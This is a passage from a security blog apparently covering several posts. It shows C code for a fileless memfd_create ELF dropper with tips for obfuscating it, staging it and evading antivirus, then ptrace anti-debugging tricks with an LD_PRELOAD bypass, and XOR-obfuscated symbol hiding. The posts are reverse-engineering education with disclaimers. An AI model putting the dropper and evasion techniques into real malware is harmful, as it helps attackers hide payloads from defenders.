<span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span>
<span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">payload_len</span> <span class="o">=</span> <span class="mi">23592</span><span class="p">;</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
<span class="c1">// Create an anonymous file descriptor</span>
<span class="kt">int</span> <span class="n">memfd</span> <span class="o">=</span> <span class="n">memfd_create</span><span class="p">(</span><span class="s">""</span><span class="p">,</span> <span class="n">MFD_CLOEXEC</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">memfd</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="n">perror</span><span class="p">(</span><span class="s">"memfd_create"</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="n">EXIT_FAILURE</span><span class="p">);</span>
<span class="p">}</span>
<span class="c1">// Write the payload to the memfd file descriptor</span>
<span class="n">write</span><span class="p">(</span><span class="n">memfd</span><span class="p">,</span> <span class="n">payload</span><span class="p">,</span> <span class="n">payload_len</span><span class="p">);</span>
<span class="c1">// Create the string describing the file descriptor</span>
<span class="kt">char</span> <span class="o">*</span> <span class="n">p</span><span class="p">;</span>
<span class="n">asprintf</span><span class="p">(</span><span class="o">&</span><span class="n">p</span><span class="p">,</span> <span class="s">"/proc/self/fd/%i"</span><span class="p">,</span> <span class="n">memfd</span><span class="p">);</span>
<span class="c1">// Execute the ELF binary at the anonymous file descriptor</span>
<span class="k">if</span> <span class="p">(</span><span class="n">execl</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">)</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="n">perror</span><span class="p">(</span><span class="s">"execl"</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="n">EXIT_FAILURE</span><span class="p">);</span>
<span class="p">}</span>
<span class="c1">// This code will not be reached if fexecve is successful</span>
<span class="n">exit</span><span class="p">(</span><span class="n">EXIT_SUCCESS</span><span class="p">);</span>
<span class="p">}</span></code></pre></figure>
<p>Running the code looks as follows.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ gcc -o dropper dropper.c
$ ./dropper
My executable's file path is: /memfd: (deleted)
</code></pre></div></div>
<h1 id="further-ideas">Further Ideas</h1>
<p>As the code shown covers only the dropping, i will add some points
that should be included to make the code more production-ready.</p>
<ul>
<li><em>Obfuscation:</em> In the version shown above, the ELF file sits naked in
the binary file of the dropper as a static array. This can be improved by using
obfuscation based on base64 encoding or an encryption algorithm such
as AES or RC4. Then, the ELF file is included in the dropper in
obfuscated form, and before writing it to the anonymous file handle,
it is deobfuscated.</li>
<li><em>Download ELF:</em> Another idea is to not have the ELF file in the
binary at all, but use a stager instead. The stager connects to a
remote server, receives the (obfuscated) binary, and executes
it. This way, the binary is not included in the original dropper.</li>
<li><em>Anti-RE:</em> Currently, the code is easy to analyze using a
debugger. Some anti-reverse engineering tricks could be added to spice
things up.</li>
<li><em>Stealthiness:</em> The shown trick is nearly only used by malware, and
thus antivirus software will probably flag it. I am not yet sure how
to improve that.</li>
</ul>
<h1 id="epilogue">Epilogue</h1>
<p>With great power comes great responsibility.
Do not use this for malicious purposes and don’t be a jerk.</p>
<h1 id="some-references">Some References</h1>
<ul>
<li>https://grugq.github.io/docs/ul_exec.txt</li>
<li>https://stackoverflow.com/questions/63208333/using-memfd-create-and-fexecve-to-run-elf-from-memory</li>
<li>https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html</li>
<li>https://0x00sec.org/t/super-stealthy-droppers/3715</li>
<li>https://www.guitmz.com/running-elf-from-memory/</li>
</ul>
The Ptrace Anti Re Trick Revisited
2023-09-15T00:00:00+00:00
https://hkopp.github.io/2023/09/the-ptrace-anti-re-trick-revisited
<h1 id="introduction">Introduction</h1>
<p>A <a href="/2023/08/the-ptrace-anti-re-trick">previous blog post</a>
introduced a well-known anti reverse-engineering technique under Linux
using ptrace.
A program was introduced that showed different
behavior on whether it is being debugged or not.</p>
<p>This program relied on the function <code class="language-plaintext highlighter-rouge">ptrace()</code>. The program executed
<code class="language-plaintext highlighter-rouge">ptrace()</code> on itself, and if it failed, it concluded that it was
debugged by another process.</p>
<p>In this blog post, we will go two steps further in the cat-and-mouse
game of binary analysis.
We will show how to defeat the previous trick so that the program can
again be dynamically analyzed.
And then we will show how to overcome this trick and make the life of
the binary analyst hard again.</p>
<h1 id="background">Background</h1>
<p>In the <a href="/2023/08/the-ptrace-anti-re-trick">last blog post</a>
we introduced the following program containing an Anti
reverse-engineering mechanism. Its behavior depends on whether it is
dynamically analyzed or not.</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="c1">// compile with gcc -o selfptrace selfptrace.c</span>
<span class="cp">#include</span> <span class="cpf"><sys/ptrace.h></span><span class="cp">
#include</span> <span class="cpf"><stdio.h></span><span class="cp">
#include</span> <span class="cpf"><stdlib.h></span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ptrace</span><span class="p">(</span><span class="n">PTRACE_TRACEME</span><span class="p">,</span><span class="mi">0</span><span class="p">)</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"I am traced"</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"I am not traced"</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span></code></pre></figure>
<p>Its behaviour is as follows.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./selfptrace
I am not traced
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ strace ./selfptrace
execve("./selfptrace", ["./selfptrace"], 0x7ffc1c38fb10 /* 67 vars */) = 0
....
ptrace(PTRACE_TRACEME) = -1 EPERM (The operation is not permitted)
...
write(1, "I am traced", 11I am traced) = 11
exit_group(1) = ?
+++ exited with 1 +++
</code></pre></div></div>
<p>This program cannot be analyzed using dynamic analysis as dynamic
analysis executes <code class="language-plaintext highlighter-rouge">ptrace()</code> on its target. However, then the
<code class="language-plaintext highlighter-rouge">ptrace()</code> that is executed by the program on itself fails and we are
in a different branch of execution.</p>
<h1 id="enabling-dynamic-analysis-again">Enabling Dynamic Analysis Again</h1>
<p>In order to be able to dynamically analyze the program without
altering its behaviour, we can hook the <code class="language-plaintext highlighter-rouge">ptrace()</code> function and substitute
it by a fake <code class="language-plaintext highlighter-rouge">ptrace()</code> function that always returns zero.</p>
<p>First of all, let us look at the section <code class="language-plaintext highlighter-rouge">.dynsym</code> that contains the
dynamic symbol table section of the binary file.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ readelf --dyn-syms --wide selfptrace
Symbol table '.dynsym' contains 6 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.34 (2)
2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND printf@GLIBC_2.2.5 (3)
3: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ptrace@GLIBC_2.2.5 (3)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.2.5 (3)
</code></pre></div></div>
<p>We can clearly see that the function <code class="language-plaintext highlighter-rouge">ptrace()</code> of glibc is called, as the
string <code class="language-plaintext highlighter-rouge">ptrace@GLIBC_2.2.5</code> is present.
Important note: There is also a syscall called <code class="language-plaintext highlighter-rouge">ptrace()</code>. The library
call <code class="language-plaintext highlighter-rouge">ptrace()</code> provides a wrapper around this syscall.</p>
<p>We can now write a library that provides an alternative implementation
of <code class="language-plaintext highlighter-rouge">ptrace()</code>.</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="c1">// compile with gcc bypass_ptrace_trick.c -o bypass_ptrace_trick.so -fPIC -shared</span>
<span class="kt">long</span> <span class="nf">ptrace</span><span class="p">(</span><span class="kt">int</span> <span class="n">request</span><span class="p">,</span> <span class="kt">int</span> <span class="n">pid</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span></code></pre></figure>
<p>This library is loaded using <code class="language-plaintext highlighter-rouge">LD_PRELOAD</code> as follows.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ LD_PRELOAD=./bypass_ptrace_trick.so ./selfptrace
I am not traced
</code></pre></div></div>
<p>How can we strace this?
We could <code class="language-plaintext highlighter-rouge">export LD_PRELOAD=/bypass_ptrace_trick.so</code> to set out fake
library as an environment variable to preload, or use it directly in
front of the strace command.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ LD_PRELOAD=./bypass_ptrace_trick.so strace ./selfptrace
</code></pre></div></div>
<p>However, this leads to the strace process hanging, as we are also
hooking the <code class="language-plaintext highlighter-rouge">ptrace()</code> functions that are executed within the strace
command.</p>
<p>During researching on the internet I found the following two examples
which again do not work.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ export LD_PRELOAD=/bypass_ptrace_trick.so
$ ltrace -S -l ./bypass_ptrace_trick.so ./selfptrace
$ ltrace -l ./bypass_ptrace_trick.so -x @ ./selfptrace
</code></pre></div></div>
<p>Again, ltrace is broken, as the <code class="language-plaintext highlighter-rouge">ptrace()</code> functions in ltrace return
zero.</p>
<p>The correct way of stracing a binary that is <code class="language-plaintext highlighter-rouge">LD_PRELOAD</code>ed with a
library is using the parameter <code class="language-plaintext highlighter-rouge">-E</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ strace -E LD_PRELOAD=./bypass_ptrace_trick.so ./selfptrace
execve("./selfptrace", ["./selfptrace"], 0x5572e3ae5730 /* 68 vars */) = 0
...
openat(AT_FDCWD, "./bypass_ptrace_trick.so", O_RDONLY|O_CLOEXEC) = 3
...
write(1, "I am not traced", 15I am not traced) = 15
exit_group(0) = ?
+++ exited with 0 +++
</code></pre></div></div>
<h1 id="the-next-bypass">The Next Bypass</h1>
<p>So now that we have seen how an analyst can substitute functions, how
can we as developers that are interested in protecting our software
defend against that?
In fact, there are multiple ways.</p>
<p>The first approach is to not use the function
<code class="language-plaintext highlighter-rouge">ptrace()</code>, instead the syscall of the same name, as was already shown
at the <a href="/2023/08/the-ptrace-anti-re-trick">end of the last blog post</a>. In this case, the function
cannot be hooked, as it is not a call to a library and thus is not
resolved in the first place.
In this case an analyst has to patch the binary and remove the <code class="language-plaintext highlighter-rouge">jmp</code>
instruction for the respective branch, such that the branch is taken,
that is usually taken when the program is not <code class="language-plaintext highlighter-rouge">ptrace</code>d. This can
again be circumvented by the developer, by checksumming the functions
and checking if they have been altered. If that is the case, a
separate execution branch can be taken.</p>
<p>However, the approach we want to take in the remainder is to stay on
the level of C code (and not use inline assembly).
One idea is to execute <code class="language-plaintext highlighter-rouge">ptrace()</code> twice on itself. If the process is
not analyzed, then the first call to <code class="language-plaintext highlighter-rouge">ptrace()</code> succeeds and the
second one fails. If the program is analyzed naively, then the first
and the second <code class="language-plaintext highlighter-rouge">ptrace()</code> call on itself both fail. If the program is
analyzed by a substituted <code class="language-plaintext highlighter-rouge">ptrace()</code> function, then both calls
succeed.</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="c1">// compile with gcc -o selfptrace2 selfptrace2.c</span>
<span class="cp">#include</span> <span class="cpf"><sys/ptrace.h></span><span class="cp">
#include</span> <span class="cpf"><stdio.h></span><span class="cp">
#include</span> <span class="cpf"><stdlib.h></span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
<span class="kt">int</span> <span class="n">state</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ptrace</span><span class="p">(</span><span class="n">PTRACE_TRACEME</span><span class="p">,</span><span class="mi">0</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// if first ptrace suceeds, then we are not traced.</span>
<span class="n">state</span> <span class="o">=</span> <span class="mi">5</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ptrace</span><span class="p">(</span><span class="n">PTRACE_TRACEME</span><span class="p">,</span><span class="mi">0</span><span class="p">)</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// if second ptrace fails, then we are not traced.</span>
<span class="n">state</span> <span class="o">*=</span> <span class="mi">2</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">state</span> <span class="o">==</span> <span class="mi">5</span><span class="o">*</span><span class="mi">2</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// both conditions need to hold</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"I am not traced"</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"I am traced"</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span></code></pre></figure>
<p>As explained above, the program can again reliable detect if it is
analyzed.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./selfptrace2
I am not traced
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ strace ./selfptrace2
execve("./selfptrace2", ["./selfptrace2"], 0x7ffcfc6bd5e0 /* 67 vars */) = 0
...
ptrace(PTRACE_TRACEME) = -1 EPERM (The operation is not permitted)
ptrace(PTRACE_TRACEME) = -1 EPERM (The operation is not permitted)
...
write(1, "I am traced", 11I am traced) = 11
exit_group(1) = ?
+++ exited with 1 +++
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ strace -E LD_PRELOAD=./bypass_ptrace_trick.so ./selfptrace2
execve("./selfptrace2", ["./selfptrace2"], 0x55ba89345730 /* 68 vars */) = 0
...
write(1, "I am traced", 11I am traced) = 11
exit_group(1) = ?
+++ exited with 1 +++
</code></pre></div></div>
<p>This concludes my blog post.
In a further step of the cat-and-mouse game, the analyst would have to
dive on the level of assembly and patch the jumps manually.</p>
<h1 id="acknowledgements">Acknowledgements</h1>
<p>Thanks to my colleague <a href="https://twitter.com/esj4y">esj4y</a> who told me
about the <code class="language-plaintext highlighter-rouge">-E</code> argument of strace and thus helped me progress on this
anti reversing journey.</p>
<h1 id="references">References</h1>
<ul>
<li>https://dev.to/nuculabs_dev/bypassing-ptrace-calls-with-ldpreload-on-linux-12jl</li>
<li>https://seblau.github.io/posts/linux-anti-debugging</li>
</ul>
Hidings Symbols Of Elf Files
2023-09-11T00:00:00+00:00
https://hkopp.github.io/2023/09/hidings-symbols-of-ELF-files
<h1 id="introduction">Introduction</h1>
<p>This blog post describes how to hide symbols in ELF files from static
analysis.
While this may seem like a curious gadget, this approach is used in
the real world to prevent software from being analyzed, e.g., in software
protection mechanisms or malware.</p>
<p>As an example, we take a program that prints “Hallo World!” using the
function <code class="language-plaintext highlighter-rouge">puts</code> from libc.</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="c1">// compile with gcc -o main main.c</span>
<span class="cp">#include</span><span class="cpf"><stdio.h></span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Hallo World!"</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span></code></pre></figure>
<p>When this is compiled, we can see that it works as expected:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./main
Hallo World!
</code></pre></div></div>
<p>If we print all strings in the binary, e.g., using the UNIX tool
<code class="language-plaintext highlighter-rouge">strings</code> we can see that the binary contains the string <code class="language-plaintext highlighter-rouge">puts</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ strings main | grep puts
puts
puts@GLIBC_2.2.5
</code></pre></div></div>
<p>The goal of this blog post is to hide the symbol <code class="language-plaintext highlighter-rouge">puts</code> from such a
static analysis method without altering the functionality.
That means that the program should still print “Hallo World!” using
the puts method, but in the compiled binary, the string <code class="language-plaintext highlighter-rouge">puts</code> should
not be present.</p>
<p>In a real-world example the binary may have more complex
functionality. The goal is, that a reverse engineer cannot simply dump
all the functions by looking at the strings of the binary, but has to
work harder.</p>
<h1 id="explanation">Explanation</h1>
<p>First and foremost, why is the string <code class="language-plaintext highlighter-rouge">puts</code> in the library to begin
with?</p>
<p>This string is contained in the dynamic symbol table in the ELF
section <code class="language-plaintext highlighter-rouge">.dynsym</code>. As far as I understand this table is used by the
dynamic linker at runtime to find the function in libc.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ readelf --dyn-syms --wide main
Symbol table '.dynsym' contains 4 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.34 (2)
2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.2.5 (3)
3: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
</code></pre></div></div>
<h1 id="first-step-resolving-symbols-at-runtime">First Step: Resolving Symbols at Runtime</h1>
<p>As a first step, we will look for the location of the function <code class="language-plaintext highlighter-rouge">puts</code>
within libc at runtime.
For this, we open a handle to libc and obtain the address of the
symbol <code class="language-plaintext highlighter-rouge">puts</code> using the function <code class="language-plaintext highlighter-rouge">dlsym</code> from <code class="language-plaintext highlighter-rouge">dlfcn.h</code>.</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="c1">// compile with gcc -o hide1 hide1.c</span>
<span class="cp">#include</span><span class="cpf"><dlfcn.h></span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
<span class="c1">// handle to libc</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">handle</span> <span class="o">=</span> <span class="n">dlopen</span> <span class="p">(</span><span class="s">"/lib64/libc.so.6"</span><span class="p">,</span> <span class="n">RTLD_LAZY</span><span class="p">);</span>
<span class="c1">// function pointer to puts within libc</span>
<span class="kt">long</span> <span class="p">(</span><span class="o">*</span><span class="n">fp</span><span class="p">)(</span><span class="kt">char</span> <span class="o">*</span><span class="n">s</span><span class="p">);</span>
<span class="n">fp</span> <span class="o">=</span> <span class="n">dlsym</span><span class="p">(</span><span class="n">handle</span><span class="p">,</span> <span class="s">"puts"</span><span class="p">);</span>
<span class="n">fp</span><span class="p">(</span><span class="s">"Hallo World!"</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span></code></pre></figure>
<p>Note that in this program <code class="language-plaintext highlighter-rouge">stdio.h</code> is not imported. Thus, we have
already removed the import symbol.</p>
<p>This time the string <code class="language-plaintext highlighter-rouge">puts</code> cannot be found in the <code class="language-plaintext highlighter-rouge">.interp</code> section.
However, it is used as an argument to the function ``dlsym<code class="language-plaintext highlighter-rouge">.
As this function argument is a static string that is not changed
during runtime, the compiler has decided to put the string </code>puts<code class="language-plaintext highlighter-rouge"> in
the section </code>.rodata`.
This section contains read-only data.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ readelf -x .rodata hide1
Hex dump of section '.rodata':
0x00402000 01000200 00000000 00000000 00000000 ................
0x00402010 2f6c6962 36342f6c 6962632e 736f2e36 /lib64/libc.so.6
0x00402020 00707574 73004861 6c6c6f20 576f726c .puts.Hallo Worl
0x00402030 642100 d!.
</code></pre></div></div>
<h1 id="second-step-putting-strings-on-the-heap">Second Step: Putting Strings on the Heap</h1>
<p>As a next step, we can remove the string <code class="language-plaintext highlighter-rouge">puts</code> from the argument to
the function <code class="language-plaintext highlighter-rouge">dlsym</code>. We can store it in a variable and then invoke
<code class="language-plaintext highlighter-rouge">dlsym</code> with the variable.</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="c1">// compile with gcc -o hide2 hide2.c</span>
<span class="cp">#include</span><span class="cpf"><dlfcn.h></span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
<span class="kt">char</span> <span class="n">puts</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"puts"</span><span class="p">;</span>
<span class="c1">// handle to libc</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">handle</span> <span class="o">=</span> <span class="n">dlopen</span> <span class="p">(</span><span class="s">"/lib64/libc.so.6"</span><span class="p">,</span> <span class="n">RTLD_LAZY</span><span class="p">);</span>
<span class="c1">// function pointer to puts within libc</span>
<span class="kt">long</span> <span class="p">(</span><span class="o">*</span><span class="n">fp</span><span class="p">)(</span><span class="kt">char</span> <span class="o">*</span><span class="n">s</span><span class="p">);</span>
<span class="n">fp</span> <span class="o">=</span> <span class="n">dlsym</span><span class="p">(</span><span class="n">handle</span><span class="p">,</span> <span class="n">puts</span><span class="p">);</span>
<span class="n">fp</span><span class="p">(</span><span class="s">"Hallo World!"</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span></code></pre></figure>
<p>Note that even though I have named the variable <code class="language-plaintext highlighter-rouge">puts</code>, this is not
found in the compiled binary. Variables are usually just syntactic
sugar for the human programmer and are substituted by memory
addresses during compile time.</p>
<p>If we trace the library calls, we can see that <code class="language-plaintext highlighter-rouge">dlopen</code> and <code class="language-plaintext highlighter-rouge">dlsym</code>
are called. The library function <code class="language-plaintext highlighter-rouge">puts</code> is not shown by the library call
tracer ltrace.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ltrace hide2
dlopen("/lib64/libc.so.6", 1) = 0x7f3577fed080
dlsym(0x7f3577fed080, "puts") = 0x7f3577c7b020
Hallo World!
+++ exited (status 0) +++
</code></pre></div></div>
<p>We can find in the binary string “puts” on the heap though. This is a
further step forward, as we can now manipulate the
string at runtime (in contrast to compiletime).</p>
<h1 id="third-approach-deobfuscating-strings-during-runtime">Third Approach: Deobfuscating Strings During Runtime</h1>
<p>So, as a next step, we store an obfuscated string in the binary that
is deobfuscated at runtime. In this concrete case, we use the
xor-obfuscation. We store the string <code class="language-plaintext highlighter-rouge">$! '</code> and <code class="language-plaintext highlighter-rouge">T</code> in the binary.
Then, during runtime we compute <code class="language-plaintext highlighter-rouge">$! '</code> xor <code class="language-plaintext highlighter-rouge">TTTT</code> which is equal to
the string <code class="language-plaintext highlighter-rouge">puts</code>. As a next step, <code class="language-plaintext highlighter-rouge">libc</code> is loaded and a pointer to
<code class="language-plaintext highlighter-rouge">puts</code> is obtained. The function at this pointer is then executed. And
voila! We have executed the function <code class="language-plaintext highlighter-rouge">puts</code> without having the string
<code class="language-plaintext highlighter-rouge">puts</code> in our binary at runtime.</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="c1">// compile with gcc -o hide3 hide3.c</span>
<span class="cp">#include</span><span class="cpf"><dlfcn.h></span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
<span class="kt">char</span> <span class="n">puts</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"$! '"</span><span class="p">;</span>
<span class="c1">// handle to libc</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">handle</span> <span class="o">=</span> <span class="n">dlopen</span> <span class="p">(</span><span class="s">"/lib64/libc.so.6"</span><span class="p">,</span> <span class="n">RTLD_LAZY</span><span class="p">);</span>
<span class="c1">// function pointer to puts within libc</span>
<span class="kt">long</span> <span class="p">(</span><span class="o">*</span><span class="n">fp</span><span class="p">)(</span><span class="kt">char</span> <span class="o">*</span><span class="n">s</span><span class="p">);</span>
<span class="kt">char</span> <span class="n">key</span> <span class="o">=</span> <span class="sc">'T'</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span><span class="p">;</span> <span class="n">i</span><span class="o"><</span><span class="k">sizeof</span><span class="p">(</span><span class="n">puts</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">puts</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">^</span><span class="n">key</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">fp</span> <span class="o">=</span> <span class="n">dlsym</span><span class="p">(</span><span class="n">handle</span><span class="p">,</span> <span class="n">puts</span><span class="p">);</span>
<span class="n">fp</span><span class="p">(</span><span class="s">"Hallo World!"</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span></code></pre></figure>
<h1 id="epilogue">Epilogue</h1>
<p>This is not the most innovative approach to hide symbols in binaries.
Further, usage of <code class="language-plaintext highlighter-rouge">dlopen</code> and <code class="language-plaintext highlighter-rouge">dlsym</code> is easily detected.
Another approach is to directly use the syscall <code class="language-plaintext highlighter-rouge">write</code> instead of
using libc.
However, if library functions are not used at all, but only syscalls,
that may also be suspicious.</p>
<p>So, while this may be a feasible approach when focussing on software
protection mechanisms, in the case of malware development there is
again a tradeoff between “easy to detect” on the one hand and “hard to
detect, but suspicious” on the other hand.</p>
<p>Don’t use this for malicious purposes or in military environments.</p>
The Ptrace Anti Re Trick
2023-08-26T00:00:00+00:00
https://hkopp.github.io/2023/08/the-ptrace-anti-re-trick
<h1 id="introduction">Introduction</h1>
<p>This blog post describes an old Anti-RE technique under Linux using
the ptrace syscall. A program is introduced that shows different
behavior on whether it is being debugged or not.</p>
<h1 id="background">Background</h1>
<p>When malware is analyzed, it tries to hide itself. There are various
different techniques for this. As a first step, malware is often analyzed
automatically in a sandbox, due to the high number of malware
submissions at antivirus vendors.</p>
<p>This could previously be defeated by
letting the program wait using the sleep syscall, before any malicious
functionality is executed. Thus, the automated analysis likely runs
into a timeout. As a next step in the cat-and-mouse-game antivirus
vendors decided to remove sleep syscalls before analyzing the code.
However, malware authors used different techniques to waste time, such
as computing numerically intense tasks, such as prime factorizations
or enough digits of pi.
Other methods include checking for more than 8GB RAM, as usually
desktop computers have this, but sandboxes not.</p>
<h1 id="introducing-ptrace">Introducing Ptrace</h1>
<p>When the malware is reverse-engineered manually, then usually a
debugger is involved. There is a neat trick to detect the presence of
a debugger using the ptrace syscall.</p>
<p>The ptrace syscall is usually used to debug a process. It asks a
program “Hey, may i debug you?”. And the program answers with “Yes, of
course.”, or “No, go away!”. When it is already ptraced by another
process, then it answers “No, go away!”.</p>
<p>So the idea is that a program can try to ptrace itself (from the same
thread). If that fails, then it is already being ptraced by another
process, that may be operated by some reverse-engineer.
Hence, the program can alter its behavior if it is reverse-engineered.
And that is why it is called an Anti-Reverse-Engineering (Anti-RE)
technique.</p>
<h1 id="a-c-program">A C Program</h1>
<p>First, we show a high-level version in C.</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="c1">// compile with gcc -o selfptrace selfptrace.c</span>
<span class="cp">#include</span> <span class="cpf"><sys/ptrace.h></span><span class="cp">
#include</span> <span class="cpf"><stdio.h></span><span class="cp">
#include</span> <span class="cpf"><stdlib.h></span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ptrace</span><span class="p">(</span><span class="n">PTRACE_TRACEME</span><span class="p">,</span><span class="mi">0</span><span class="p">)</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"I am traced"</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"I am not traced"</span><span class="p">);</span>
